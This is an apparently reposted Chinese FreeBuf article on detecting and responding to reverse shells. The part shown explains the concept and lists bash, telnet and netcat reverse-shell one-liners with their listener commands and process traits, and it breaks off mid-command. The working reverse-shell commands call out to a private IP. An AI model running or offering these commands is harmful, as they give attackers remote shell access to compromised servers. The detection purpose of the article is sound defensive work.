反弹shell的检测与应急流程
2024-11-11 14:37:8 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

freeBuf

主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

反弹shell简介

当黑客拿到一台服务器的权限时候,往往会因为服务器没有公网IP/防火墙限制等原因没有办法正向的方式进行连接,如SSH等,那么就需要让被入侵的服务器主动将shell送到控制端来进行接管,所以叫反弹shell。

我所理解的反弹shell,是外部人员通过web或者软件的漏洞,建立了一个数据流通向网络外部的shell执行环境。大部分的公司网络都会限制外部服务器连接公司内部的服务器,但是不会限制内部服务器主动外联,这就是反弹shell的利用场景。

1731306492_6731a3fce819393e8f46b.png!small?1731306493899

常见的反弹shell

反弹shell的方式较多,且极为灵活,下面就来看看一些常见的反弹shell方式以及他们的一些特征

1.bash反弹

方式

Bash反弹,远程主机监听端口:

nc -lvp 7777

被入侵的机器反弹shell命令如下:

bash -i >& /dev/tcp/192.168.7.61/7777 0>&1

特征

目标机执行后的结果如下:

创建了一个常住进程“bash -i”, 它的得0和1文件描述符都指向socket。

1731306540_6731a42cba547085fc44b.png!small?1731306541731

随便说一下,上面bash -i >& /dev/tcp/192.168.7.61/7777 0>&1语句的含义,

首先我们知道当Linux启动的时候会默认打开三个文件描述符,分别是:

标准输入standard input 0 (默认设备键盘)

标准输出standard output 1(默认设备显示器)

错误输出:error output 2(默认设备显示器)

1731306565_6731a44574b166744ebcc.png!small?1731306566482

所以上面语句的含义如下:

bash -i:启动交互式bash进程

& /dev/tcp/ip/port:将stdout/stderr重定向到与ip:port的tcp套接字中

0>&1:将stdin重定向到stdout中(此时stdout是重定向到套接字的,也就是说stdin也将从套接字中读取)

2. telnet反弹

方式

远程主机监听端口:

nc -lvvp 4444

nc -lvvp 5555

被入侵的机器反弹shell命令如下:

telnet 192.168.7.61 4444 | /bin/bash | telnet 192.168.7.61 5555

特征

创建了bash进程,0和1描述符都指向了pipe,这两个pipe关联到两个telnet进程上。两个telent创建了socket外联。

1731306598_6731a466d67bac9218851.png!small?1731306600148

3.nc(netcat)反弹

反弹方式

远程主机监听端口:

nc -lvvp 4444 

被入侵的机器反弹shell命令如下:

rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.61 4444 >/tm

已在FreeBuf发表 0 篇文章

本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022


文章来源: https://www.freebuf.com/articles/es/414949.html
如有侵权请联系:admin#unsafe.sh